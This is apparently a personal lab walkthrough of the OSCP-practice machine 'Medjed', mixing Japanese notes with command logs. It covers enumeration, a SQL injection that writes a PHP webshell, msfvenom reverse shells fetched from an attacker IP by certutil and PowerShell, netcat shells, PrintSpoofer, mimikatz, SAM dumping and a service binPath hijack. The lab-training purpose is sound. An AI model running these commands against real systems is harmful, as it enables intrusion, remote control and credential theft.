Medjed¶
Flag-Critical Knowledge¶
トリガー、攻撃パターン¶
attack summary¶
BarracudaDrive Config-Wizard
→ set/reset admin credentials
→ access BarracudaDrive management
→ web app / slug parameter SQLi
→ MySQL OUTFILE to XAMPP webroot
→ PHP webshell
→ reverse shell as Jerren
→ local flag
→ BarracudaDrive writable service directory identified
→ privilege escalation attempt recorded in notes
walkthrough¶
192.168.166.127
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
3306/tcp open mysql MariaDB 10.3.24 or later (unauthorized)
8000/tcp open http-alt BarracudaServer.com (Windows)
|_http-server-header: BarracudaServer.com (Windows)
| http-methods:
|_ Potentially risky methods: PROPFIND PUT COPY DELETE MOVE MKCOL PROPPATCH LOCK UNLOCK
| http-webdav-scan:
| Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, PUT, COPY, DELETE, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK
| Server Type: BarracudaServer.com (Windows)
| WebDAV type: Unknown
|_ Server Date: Thu, 07 May 2026 14:15:53 GMT
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 200 OK
| Date: Thu, 07 May 2026 14:13:52 GMT
| Server: BarracudaServer.com (Windows)
| Connection: Close
| GenericLines, GetRequest:
| HTTP/1.1 200 OK
| Date: Thu, 07 May 2026 14:13:47 GMT
| Server: BarracudaServer.com (Windows)
| Connection: Close
| HTTPOptions, RTSPRequest:
| HTTP/1.1 200 OK
| Date: Thu, 07 May 2026 14:13:58 GMT
| Server: BarracudaServer.com (Windows)
| Connection: Close
| SIPOptions:
| HTTP/1.1 400 Bad Request
| Date: Thu, 07 May 2026 14:15:02 GMT
| Server: BarracudaServer.com (Windows)
| Connection: Close
| Content-Type: text/html
| Cache-Control: no-store, no-cache, must-revalidate, max-age=0
| <html><body><h1>400 Bad Request</h1>Can't parse request<p>BarracudaServer.com (Windows)</p></body></html>
| Socks5:
| HTTP/1.1 200 OK
| Date: Thu, 07 May 2026 14:13:53 GMT
| Server: BarracudaServer.com (Windows)
|_ Connection: Close
|_http-title: Home
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.95%I=7%D=5/7%Time=69FC9E1B%P=aarch64-unknown-linux-gnu
SF:%r(GenericLines,72,"HTTP/1\.1\x20200\x20OK\r\nDate:\x20Thu,\x2007\x20Ma
SF:y\x202026\x2014:13:47\x20GMT\r\nServer:\x20BarracudaServer\.com\x20\(Wi
SF:ndows\)\r\nConnection:\x20Close\r\n\r\n")%r(GetRequest,72,"HTTP/1\.1\x2
SF:0200\x20OK\r\nDate:\x20Thu,\x2007\x20May\x202026\x2014:13:47\x20GMT\r\n
SF:Server:\x20BarracudaServer\.com\x20\(Windows\)\r\nConnection:\x20Close\
SF:r\n\r\n")%r(FourOhFourRequest,72,"HTTP/1\.1\x20200\x20OK\r\nDate:\x20Th
SF:u,\x2007\x20May\x202026\x2014:13:52\x20GMT\r\nServer:\x20BarracudaServe
SF:r\.com\x20\(Windows\)\r\nConnection:\x20Close\r\n\r\n")%r(Socks5,72,"HT
SF:TP/1\.1\x20200\x20OK\r\nDate:\x20Thu,\x2007\x20May\x202026\x2014:13:53\
SF:x20GMT\r\nServer:\x20BarracudaServer\.com\x20\(Windows\)\r\nConnection:
SF:\x20Close\r\n\r\n")%r(HTTPOptions,72,"HTTP/1\.1\x20200\x20OK\r\nDate:\x
SF:20Thu,\x2007\x20May\x202026\x2014:13:58\x20GMT\r\nServer:\x20BarracudaS
SF:erver\.com\x20\(Windows\)\r\nConnection:\x20Close\r\n\r\n")%r(RTSPReque
SF:st,72,"HTTP/1\.1\x20200\x20OK\r\nDate:\x20Thu,\x2007\x20May\x202026\x20
SF:14:13:58\x20GMT\r\nServer:\x20BarracudaServer\.com\x20\(Windows\)\r\nCo
SF:nnection:\x20Close\r\n\r\n")%r(SIPOptions,13C,"HTTP/1\.1\x20400\x20Bad\
SF:x20Request\r\nDate:\x20Thu,\x2007\x20May\x202026\x2014:15:02\x20GMT\r\n
SF:Server:\x20BarracudaServer\.com\x20\(Windows\)\r\nConnection:\x20Close\
SF:r\nContent-Type:\x20text/html\r\nCache-Control:\x20no-store,\x20no-cach
SF:e,\x20must-revalidate,\x20max-age=0\r\n\r\n<html><body><h1>400\x20Bad\x
SF:20Request</h1>Can't\x20parse\x20request<p>BarracudaServer\.com\x20\(Win
SF:dows\)</p></body></html>");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2026-05-07T14:15:54
|_ start_date: N/A
msrpc
135/tcp open msrpc
smb列挙
139/tcp open netbios-ssn
445/tcp open microsoft-ds
SMBの基本情報を取る（最優先）
nmap -p139,445 --script=smb-os-discovery,smb-protocols,smb-security-mode 192.168.166.127
※SMBv1 無効 → EternalBlue系は×
匿名（null session）で何が見えるか
smbclient -L //192.168.166.127 -N
nxc smb 192.168.166.127 -u '' -p ''
smbmap -H 192.168.166.127 -u '' -p ''
smbmap -H 192.168.166.127 --no-pass
enum4linux -a 192.168.166.127
共有（Shares）の深掘り
smbmap -H 192.168.166.127
crackmapexec smb 192.168.166.127 --shares
nxc smb 192.168.166.127 --shares
smbclient.py -no-pass guest@192.168.166.127
smbclient.py -no-pass anonymous@192.168.166.127
共有の中身を実際に見る
smbclient //192.168.166.127/SHARENAME -N
ユーザー・グループの列挙（重要）
enum4linux-ng -A 192.168.166.127
脆弱性チェック（OSCP定番）
nmap -p445 --script=smb-vuln* 192.168.166.127
RID Cycling
nxc smb 192.168.166.127 --rid-brute
lookupsid.py anonymous@192.168.166.127
SMB SigningがFalse → Relayできるか確認
relay可能かだけ確認するなら：
echo "smb://192.168.166.127" > relay.txt
impacket-ntlmrelayx -tf relay.txt -smb2support
別端末：
sudo systemctl stop apache2
sudo vim /etc/responder/Responder.conf
SMB = Off
HTTP = Off
sudo pkill responder
sudo responder -I tun0
rpcclient -U "" -N 192.168.166.127
接続できたら： enumdomusers enumdomgroups querydispinfo
┌──(kali㉿kali)-[~/oscp/pGpractice/Medjed]
└─$ enum4linux-ng -A 192.168.166.127
ENUM4LINUX - next generation (v1.3.7)
==========================
| Target Information |
==========================
[*] Target ........... 192.168.166.127
[*] Username ......... ''
[*] Random Username .. 'anwvmtxm'
[*] Password ......... ''
[*] Timeout .......... 5 second(s)
========================================
| Listener Scan on 192.168.166.127 |
========================================
[*] Checking LDAP
[-] Could not connect to LDAP on 389/tcp: connection refused
[*] Checking LDAPS
[-] Could not connect to LDAPS on 636/tcp: connection refused
[*] Checking SMB
[+] SMB is accessible on 445/tcp
[*] Checking SMB over NetBIOS
[+] SMB over NetBIOS is accessible on 139/tcp
==============================================================
| NetBIOS Names and Workgroup/Domain for 192.168.166.127 |
==============================================================
[-] Could not get NetBIOS names information via 'nmblookup': timed out
============================================
| SMB Dialect Check on 192.168.166.127 |
============================================
[*] Trying on 445/tcp
[+] Supported dialects and settings:
Supported dialects:
SMB 1.0: false
SMB 2.0.2: true
SMB 2.1: true
SMB 3.0: true
SMB 3.1.1: true
Preferred dialect: SMB 3.0
SMB1 only: false
SMB signing required: false
==============================================================
| Domain Information via SMB session for 192.168.166.127 |
==============================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: MEDJED
NetBIOS domain name: ''
DNS domain: medjed
FQDN: medjed
Derived membership: workgroup member
Derived domain: unknown
============================================
| RPC Session Check on 192.168.166.127 |
============================================
[*] Check for anonymous access (null session)
[-] Could not establish null session: STATUS_ACCESS_DENIED
[*] Check for guest access
[-] Could not establish guest session: STATUS_LOGON_FAILURE
[-] Sessions failed, neither null nor user sessions were possible
==================================================
| OS Information via RPC for 192.168.166.127 |
==================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found OS information via SMB
[*] Enumerating via 'srvinfo'
[-] Skipping 'srvinfo' run, not possible with provided credentials
[+] After merging OS information we have the following result:
OS: Windows 10, Windows Server 2019, Windows Server 2016
OS version: '10.0'
OS release: '2004'
OS build: '19041'
Native OS: not supported
Native LAN manager: not supported
Platform id: null
Server type: null
Server type string: null
[!] Aborting remainder of tests since sessions failed, rerun with valid credentials
Completed after 8.54 seconds
┌──(kali㉿kali)-[~/oscp/pGpractice/Medjed]
└─$ nmap -p445 --script=smb-vuln* 192.168.166.127
Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-07 23:20 JST
Nmap scan report for 192.168.166.127
Host is up (0.091s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR
Nmap done: 1 IP address (1 host up) scanned in 11.87 seconds
┌──(kali㉿kali)-[~/oscp/pGpractice/Medjed]
└─$
mysql列挙
3306/tcp open mysql
バナー・認証方式の確認
nmap -p 3306 --script=mysql-info 192.168.166.127
searchsploit
searchsploit MariaDB 10.3.24
認証なしで試す
root / 空パス確認（1回だけ）
mysql -h 192.168.166.127 -u root
mysql -h 192.168.166.127 -u root -p
mysql -h 192.168.166.127 -u root
mysql -h 192.168.166.127 -u root -p
mysql -h 192.168.166.127 -u root -p''
mysql -h 192.168.166.127 -u administrator -p
mysql -h 192.168.166.127 -u mysql -p
SSL を使わない（まずこれ）
mysql -h 192.168.166.127 -u root --ssl=0
mysql -h 192.168.166.127 -u root --skip-ssl
mysql -h 192.168.166.127 -u mysql --ssl=0
パスワード不要パターンも確認（重要）
mysql -h 192.168.166.127 -u root --ssl=0 -p
mysql -h 192.168.166.127 -u mysql --ssl=0 -p
mysql -h 192.168.166.127 -u jack --skip-ssl -p
or
mysql -h 192.168.166.127 -u root --ssl=0
よくある DB ユーザ名を試す（手動で十分） root admin
mysql
web webapp app phpmyadmin
creds が手に入ったらやること（超重要）
SHOW DATABASES; USE mysql; SELECT user, host FROM user;
SHOW GRANTS; GRANT FILE ON .
web列挙
8000/tcp open http-alt
バナー取得
nmap -p8000 --script http-enum 192.168.166.127
curl -I -k http://192.168.166.127:8000
curl -I -k https://192.168.166.127
※-Iはheader only
whatweb whatweb http://192.168.166.127:8000 --no-errors whatweb https://192.168.166.127 --no-errors
Searchsploit
searchsploit BarracudaDrive 6.5
methods確認
curl -X OPTIONS -i http://192.168.166.127:8000/
ソース確認
sudo apt install html2text
curl -s http://192.168.166.127:8000/ | html2text
webdav davtest -url http://192.168.166.127:8000/ davtest -auth admin:Password123 -url http://192.168.166.127:8000/
ページ構造の把握（ブラウザ & curl）
curl -i -k http://192.168.166.127:8000
curl -i -k https://192.168.166.127
※-kは--insecure ※-iは、--show-headers
firefox 192.168.166.127:8000 firefox https://192.168.166.127
robots.txt
curl -I -k http://192.168.166.127:8000/robots.txt
curl -I -k http://192.168.166.127/robots.txt
即 creds に繋がる”チェック（最重要）
config 系直アクセス
見つけたディレクトリがあれば
/config
/includes
/inc
/db
curl -I -k http://192.168.166.127:8000/config.php
curl -I -k http://192.168.166.127:8000/db.php
curl -I -k http://192.168.166.127:8000/config/config.php
curl -I -k https://192.168.166.127/config.php
curl -I -k https://192.168.166.127/db.php
curl -I -k https://192.168.166.127/config/config.php
バックアップ・残骸 index.php~ index.php.bak config.php.old ※PHP + Windows = 高確率で残ってる
ディレクトリ列挙（最小限・高精度）
dirsearch -u http://192.168.166.127:8000 -x 403,404 -t 20
gobuster dir -u http://192.168.166.127:8000 -w /usr/share/wordlists/dirb/common.txt -x php,txt,old,bak,zip,conf,asp,aspx,config
ffuf -u http://192.168.166.127:8000/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
dirsearch -u https://192.168.166.127 -x 403,404 -t 20
gobuster dir -u https://192.168.166.127 -w /usr/share/wordlists/dirb/common.txt -x php,txt,old,bak,zip,conf,asp,aspx,config
なんでも200で返す場合 まず適当なランダムパスでサイズを確認：
curl -s http://192.168.166.127:8000/doesnotexist | wc -c
⇒0
gobuster dir -u http://192.168.166.127:8000 -w /usr/share/wordlists/dirb/common.txt -x php,txt,old,bak,zip,conf \
--exclude-length 0
なんでも302で返す場合
ffuf -u http://192.168.166.127:8000/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
ffuf -u http://192.168.166.127:8000/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -fs 0 -fc 302
ffuf -u http://192.168.166.127:8000/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -ac
nikto nikto -h http://192.168.166.127:8000
狙う拡張子 .php .bak .old .zip .txt .conf
basic認証がある場合 hydra -L users.txt -P passwords.txt 192.168.166.127 http-get / hydra -L users.txt -P passwords.txt 192.168.166.127 http-get / hydra -L users.txt -P /usr/share/wordlists/rockyou.txt 192.168.166.127 http-get /
nxc http 192.168.166.127 -u users.txt -p passwords.txt --basic
─$ nmap -p8000 --script http-enum 192.168.166.127
Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-07 23:56 JST
Nmap scan report for 192.168.166.127
Host is up (0.091s latency).
PORT STATE SERVICE
8000/tcp open http-alt
| http-enum:
| /blog/: Blog
|_ /private/sdc.tgz: IBM Bladecenter Management Logs (401 Unauthorized)
Nmap done: 1 IP address (1 host up) scanned in 48.37 seconds
┌──(kali㉿kali)-[~/oscp/pGpractice/Medjed]
└
┌──(kali㉿kali)-[~/oscp/pGpractice/Medjed]
└─$ searchsploit BarracudaDrive 6.5
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
BarracudaDrive v6.5 - Insecure Folder Permissions | windows/local/48789.txt
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
┌──(kali㉿kali)-[~/oscp/pGpractice/Medjed]
└─$
┌──(kali㉿kali)-[~/oscp/pGpractice/Medjed]
└─$ dirsearch -u http://192.168.166.127:8000 -x 403,404 -t 20
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 20 | Wordlist size: 11460
Output File: /home/kali/oscp/pGpractice/Medjed/reports/http_192.168.166.127_8000/_26-05-07_23-58-47.txt
Target: http://192.168.166.127:8000/
[23:58:47] Starting:
[23:58:50] 302 - 0B - /+CSCOT+/oem -> http://192.168.166.127:8000/%20CSCOT%20/oem/
[23:58:50] 302 - 0B - /+CSCOT+/translation -> http://192.168.166.127:8000/%20CSCOT%20/translation/
[23:58:50] 302 - 0B - /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua -> http://192.168.166.127:8000/%20CSCOT%20/oem-customization/?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua
[23:58:50] 302 - 0B - /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../ -> http://192.168.166.127:8000/%20CSCOT%20/translation-table/?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language=&lang=../
[23:59:24] 200 - 3KB - /blog/
[23:59:25] 302 - 0B - /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd -> http://etc/passwd/
[23:59:37] 200 - 600B - /favicon.ico
[23:59:56] 200 - 2KB - /photos.html
[00:00:03] 302 - 0B - /remote/fgt_lang?lang=/../../../../////////////////////////bin/sslvpnd -> http:////bin/sslvpnd
[00:00:03] 302 - 0B - /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession -> http:////dev/cmdb/sslvpn_websession
Task Completed
┌──(kali㉿kali)-[~/oscp/pGpractice/Medjed]
└─$
┌──(kali㉿kali)-[~/oscp/pGpractice/Medjed]
└─$ nikto -h http://192.168.166.127:8000
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 192.168.166.127
+ Target Hostname: 192.168.166.127
+ Target Port: 8000
+ Start Time: 2026-05-08 00:05:34 (GMT9)
---------------------------------------------------------------------------
+ Server: BarracudaServer.com (Windows)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ OPTIONS: Allowed HTTP Methods: OPTIONS, GET, HEAD, PROPFIND, PUT, COPY, DELETE, MOVE, MKCOL, PROPPATCH, LOCK, UNLOCK .
+ HTTP method ('Allow' Header): 'PUT' method could allow clients to save files on the web server.
+ HTTP method ('Allow' Header): 'DELETE' may allow clients to remove files on the web server.
+ HTTP method ('Allow' Header): 'MOVE' may allow clients to change file locations on the web server.
+ OPTIONS: WebDAV enabled (PROPFIND UNLOCK PROPPATCH LOCK COPY MKCOL listed as allowed).
+ 8260 requests: 0 error(s) and 7 item(s) reported on remote host
+ End Time: 2026-05-08 00:29:55 (GMT9) (1461 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
┌──(kali㉿kali)-[~/oscp/pGpractice/Medjed]
└─$
sudo apt install html2text
curl -s -X POST \
http://192.168.166.127:8000/Config-Wizard/wizard/SetAdmin.lsp \
-d "email=test@test.com&user=admin&password=Password123"
curl -i -u admin:Password123 \
http://192.168.166.127:8000/private/manage/
admin Password123
http://192.168.166.127:33033/
evren.eagan@company.com joe.webb@company.com jerren.devops@company.com kenneth.dooley@company.com laura.lauer@company.com christopher@company.com
pwリセットできた jerren.devops paranoid test
curl -G "http://192.168.166.127:33033/slug" --data-urlencode "URL=' OR 1=1-- -"
curl -G "http://192.168.166.127:33033/slug" --data-urlencode "URL=' OR 1=2-- -"
sqlmap -u "http://192.168.166.127:33033/slug?URL=test" -p URL --dbms=mysql --batch
http://192.168.166.127:45332 http://192.168.166.127:45332/phpinfo.php
DOCUMENT_ROOT C:/xampp/htdocs
' UNION SELECT ("<?php echo passthru($_GET['cmd']);") INTO OUTFILE 'C:/xampp/htdocs/cmd.php' -- -'
curl -G "http://192.168.166.127:33033/slug" --data-urlencode "XXXX"
curl -G "http://192.168.166.127:33033/slug" --data-urlencode "' UNION SELECT ("<?php echo passthru($_GET['cmd']);") INTO OUTFILE 'C:/xampp/htdocs/cmd.php' -- -' "
curl -G "http://192.168.166.127:33033/slug" --data-urlencode "' UNION SELECT ("<?php echo passthru(\$_GET['cmd']);") INTO OUTFILE 'C:/xampp/htdocs/cmd.php' -- -' "
curl -G 'http://192.168.166.127:33033/slug' \
--data-urlencode 'URL='\'' UNION SELECT "" INTO OUTFILE "C:/xampp/htdocs/cmd.php" -- -'
curl -G "http://192.168.166.127:33033/slug" \
--data-urlencode 'URL='\'' UNION SELECT "" INTO OUTFILE "C:/xampp/htdocs/cmd.php" -- -'
mysqlが
<?php echo passthru($_GET["cmd"]); ?>
という文字列を、
C:\xampp\htdocs\cmd.php
に書き込んでいる。
curl "http://192.168.166.127:45332/cmd.php?cmd=whoami"
curl "http://192.168.166.127:45332/cmd.php?cmd=dir"
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.182 LPORT=4444 -f exe -o shell.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.182 LPORT=5555 -f exe -o shell2.exe
python3 -m http.server 8000
curl "http://192.168.166.127:45332/cmd.php?cmd=certutil -urlcache -split -f http://192.168.45.182:8000/shell.exe C:\Windows\Temp\shell.exe"
curl "http://192.168.166.127:45332/cmd.php?cmd=powershell -c Invoke-WebRequest -Uri http://192.168.45.182:8000/shell.exe -OutFile C:\Windows\Temp\shell.exe"
curl -G "http://192.168.166.127:45332/cmd.php" \
--data-urlencode 'cmd=certutil -urlcache -split -f http://192.168.45.182:8000/shell.exe C:\xampp\htdocs\shell.exe'
curl -G "http://192.168.166.127:45332/cmd.php" \
--data-urlencode 'cmd=powershell -c Invoke-WebRequest -Uri http://192.168.45.182:8000/shell.exe -OutFile C:\xampp\htdocs\shell2.exe'
curl -G "http://192.168.166.127:45332/cmd.php" --data-urlencode 'cmd=dir C:\xampp\htdocs'
nc -lvnp 4444
curl "http://192.168.166.127:45332/cmd.php?cmd=C:\xampp\htdocs\shell.exe"
C:\xampp\htdocs>type C:\Users\Jerren\Desktop\local.txt
type C:\Users\Jerren\Desktop\local.txt
<REDACTED_FLAG>
C:\xampp\htdocs>
侵入できたらやること(Windows)
flag検索
cmd /c "dir C:\local.txt /s /b"
cmd /c "dir C:\proof.txt /s /b"
ホスト名確認
hostname
ネットワークと内部探索（後回しでOK）
ipconfig /all
netstat -ano
route print
権限確認
whoami /priv
whoami /groups
狙い • SeImpersonatePrivilege • SeAssignPrimaryToken
32bit?
echo %PROCESSOR_ARCHITECTURE%
wmic os get osarchitecture
※win11には、32bitは存在しない
OS / 権限昇格ネタ確認
cmd.exe
ver
systeminfo
or
Get-ComputerInfo
Get-ComputerInfo | select WindowsProductName, WindowsVersion, OsArchitecture
※OSは、winPEASでも見れる
windows firewall outbound一覧、大量に出るのでやらない netsh advfirewall firewall show rule name=all dir=out
プロファイルごとのデフォルト動作 netsh advfirewall show allprofiles
Outbound で Block されているルールだけ抽出
Get-NetFirewallRule |Where-Object {$_.Direction -eq "Outbound" -and $_.Action -eq "Block"} |Format-Table -AutoSize
ブロックされているポート
Get-NetFirewallRule -Direction Outbound -Action Block | Get-NetFirewallPortFilter
サービス・権限ミス
whoami
ローカルユーザの場合
net user jerren
net user medjed\jerren
ドメインユーザの場合
net user medjed\jerren /domain
net user jerren /domain
net localgroup
net localgroup helpdesk_setup
自分の置かれている実行環境を確認
Web侵入なら必須
cmd
echo %USERNAME%
echo %USERPROFILE%
powershell
$env:USERNAME
$env:USERPROFILE
cd
dir
「横に転がっている資格情報」を最優先で探す
cmd /c "dir /s *pass* 2>null"
cmd /c "dir /s *config* 2>null"
cmd /c "dir /s *.php 2>null"
サービス・スケジュール系の確認
Windows定番
sc.exe query
sc.exe query type= service state= all
cmd /c "sc.exe query"
cmd /c "sc.exe query type= service state= all"
wmic service get name,displayname,pathname,startmode
※管理者権限が必要
Get-Service | Select Name,Status
Windows Firewall が有効か確認
cmd
netsh advfirewall show allprofiles
pwsh
Get-NetFirewallProfile | Select Name, Enabled
Windows Defender（Microsoft Defender Antivirus）が有効か確認
pwsh
Get-MpComputerStatus
cmd
sc query WinDefend
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender"
AD 確認：
pwsh
echo %USERDOMAIN%
管理者権限チェック： pwsh
net localgroup administrators
winpeas
python3 -m http.server 8080
certutil -urlcache -f http://192.168.45.182:8080/winPEASx64.exe C:\temp\winPEASx64.exe
certutil -urlcache -f http://192.168.45.182:8080/nc64.exe C:\temp\nc64.exe
certutil -urlcache -f http://192.168.45.182/mimikatz.exe C:\temp\mimikatz.exe
iwr -Uri http://192.168.45.182/winPEASx64.exe -OutFile winPEASx64.exe
iwr -Uri http://192.168.45.182/nc64.exe -OutFile nc64.exe
iwr -Uri http://192.168.45.182/mimikatz.exe -OutFile mimikatz.exe
iwr -Uri http://192.168.45.182/PrintSpoofer64.exe -OutFile C:\temp\PrintSpoofer64.exe
.\PrintSpoofer64.exe -i -c powershell
.\PrintSpoofer64.exe -i -c cmd
nc -lvnp 4445
.\PrintSpoofer64.exe -c "C:\temp\nc64.exe 192.168.45.182 4445 -e cmd"
.\winPEASx64.exe | Tee-Object -FilePath winpeas.txt
kali
nc -lvnp 8888 > winpeas.txt
win
type winpeas.txt | .\nc64.exe 192.168.45.182 8888
.\mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
ローカル管理者じゃないとダメらしい・・・
SAM / SYSTEM 取得
reg save HKLM\SAM C:\temp\SAM
reg save HKLM\SYSTEM C:\temp\SYSTEM
impacket-secretsdump -sam SAM -system SYSTEM LOCAL
サービス列挙
sc.exe query state= all
sc.exe query type= service state= all
Get-Service
書き換え可能なサービス探す
sc qc <service名>
バイナリ差し替え or パス書き換え
sc.exe config <service名> binPath= "C:\temp\nc64.exe -e cmd.exe 192.168.45.182 4444"
リスナー
nc -lvnp 4444
サービス起動
sc.exe stop <service名>
sc.exe start <service名>
列挙不足？？？
かなりいい列挙ができています。OSCP/PGで standalone Windows に foothold 取った直後としては、基礎はかなり押さえています。
今のログで取れているのは：
* ユーザー確認 (whoami)
* 権限 (whoami /priv)
* グループ (whoami /groups)
* OS情報 (systeminfo)
* ネットワーク (ipconfig, route print, netstat)
* local.txt取得
* ローカルユーザー確認 (net user)
これは good です。
ただ、Privilege Escalation 用としてまだ足りない列挙があります。OSCPで次に絶対見たいのはこのあたりです。
⸻
① 現在の権限レベル確認（管理者かどうか）
まずこれ。
net session
もし：
Access is denied.
なら一般ユーザー。
もし成功したら管理者。
（whoami /groupsでも見えるけどこっちが速い）
⸻
② 実行中プロセス（怪しいサービス発見）
これ超重要。
tasklist /v
または
wmic process get name,processid,parentprocessid,executablepath
見るポイント：
* 独自アプリ
* backup系
* monitor系
* updater系
* 開発者っぽいサービス
たとえば：
* backup.exe
* monitor.exe
* updater.exe
みたいなのはPE候補。
あなたの netstat で：
* 3306 (MySQL)
* 8000
* 30021
* 33033
* 45332
とか怪しいポートが見えてるので、PIDと紐づけるのが大事。
例えば：
tasklist /svc | findstr 6396
（3306/MySQLのPID）
⸻
③ サービス設定（Unquoted Path / Writable Service）
Windows PEで超重要。
wmic service get name,displayname,pathname,startmode
見るポイント：
Unquoted Service Path
こういうやつ：
C:\Program Files\Some App\service.exe
ダブルクォートなし。
Custom Service
独自サービス：
BackupService
MonitorService
UpdateService
⸻
④ 自動実行（Autoruns）
レジストリの自動起動。
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
ユーザー側：
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
開発者が雑に置いてることがある。
⸻
⑤ 保存された認証情報
かなり重要。
Credential Manager
cmdkey /list
当たりだと：
* RDP creds
* admin creds
が出る。
⸻
RunAs saved creds
runas /savecred /user:administrator cmd
（列挙目的ならまず cmdkey /list）
⸻
⑥ PowerShell履歴
ユーザーのミス狙い。
type C:\Users\Jerren\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
パスワードや管理作業履歴が出ることある。
⸻
⑦ 設定ファイル探索（今のMedjedで特に重要）
このマシン、Web + MySQL + XAMPP なのでかなり有力。
XAMPP
dir C:\xampp /s /b | findstr config
特に：
type C:\xampp\phpMyAdmin\config.inc.php
または：
dir C:\xampp /s /b | findstr pass
Web系箱ではかなり当たりやすい。
⸻
⑧ AlwaysInstallElevated
Windows PE定番。
reg query HKCU\Software\Policies\Microsoft\Windows\Installer
reg query HKLM\Software\Policies\Microsoft\Windows\Installer
両方 0x1 なら当たり。
⸻
⑨ SAM/バックアップファイル
意外とある。
dir C:\ /s /b | findstr sam
または：
dir C:\ /s /b | findstr backup
⸻
⑩ writable directory確認
サービスDLL hijack用。
icacls "C:\Program Files"
あるいは怪しいサービスパスに対して。
⸻
今のMedjedなら最優先
この箱の特徴から、次にやる優先度は：
① XAMPP config
② MySQL credentials
③ custom services
④ saved creds
⑤ WinPEAS
つまり：
cmdkey /list
wmic service get name,pathname,startmode
tasklist /v
dir C:\xampp /s /b
type C:\xampp\phpMyAdmin\config.inc.php
ここから始めるのがかなり自然です。
今の 3306 + XAMPP + Web shell の流れを見ると、MySQL credential reuseか config 漏洩がかなり臭いです。
この Medjed は PEASS を投げる前に 手動列挙だけで取れる箱っぽいです。
サービス確認
wmic service get name,displayname,pathname,startmode | findstr /i barracuda
PS C:\xampp\htdocs> wmic service get name,displayname,pathname,startmode | findstr /i barracuda
wmic service get name,displayname,pathname,startmode | findstr /i barracuda
BarracudaDrive ( bd ) service bd "C:\bd\bd.exe" Auto
PS C:\xampp\htdocs>
PS C:\xampp\htdocs>
書き込み可能か確認 icacls C:\bd icacls C:\bd\bd
PS C:\xampp\htdocs> icacls C:\bd
icacls C:\bd
C:\bd BUILTIN\Administrators:(I)(OI)(CI)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Users:(I)(OI)(CI)(RX)
NT AUTHORITY\Authenticated Users:(I)(M)
NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(IO)(M)
Successfully processed 1 files; Failed processing 0 files
PS C:\xampp\htdocs>
echo test > C:\bd\test.txt
dir C:\bd ⇒書き込みできた
PS C:\xampp\htdocs> dir C:\bd
dir C:\bd
Directory: C:\bd
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 11/3/2020 12:29 PM applications
d----- 11/3/2020 12:29 PM cache
d----- 11/3/2020 12:29 PM cmsdocs
d----- 11/3/2020 12:29 PM data
d----- 11/3/2020 12:29 PM themes
d----- 8/1/2024 10:49 PM trace
-a---- 11/3/2020 12:29 PM 38 bd.conf
-a---- 11/3/2020 12:29 PM 259 bd.dat
-a---- 4/26/2013 5:55 PM 1661648 bd.exe
-a---- 6/12/2011 4:49 PM 207 bd.lua
-a---- 4/26/2013 5:55 PM 912033 bd.zip
-a---- 6/14/2012 12:21 PM 33504 bdctl.exe
-a---- 12/3/2010 4:52 PM 5139 install.txt
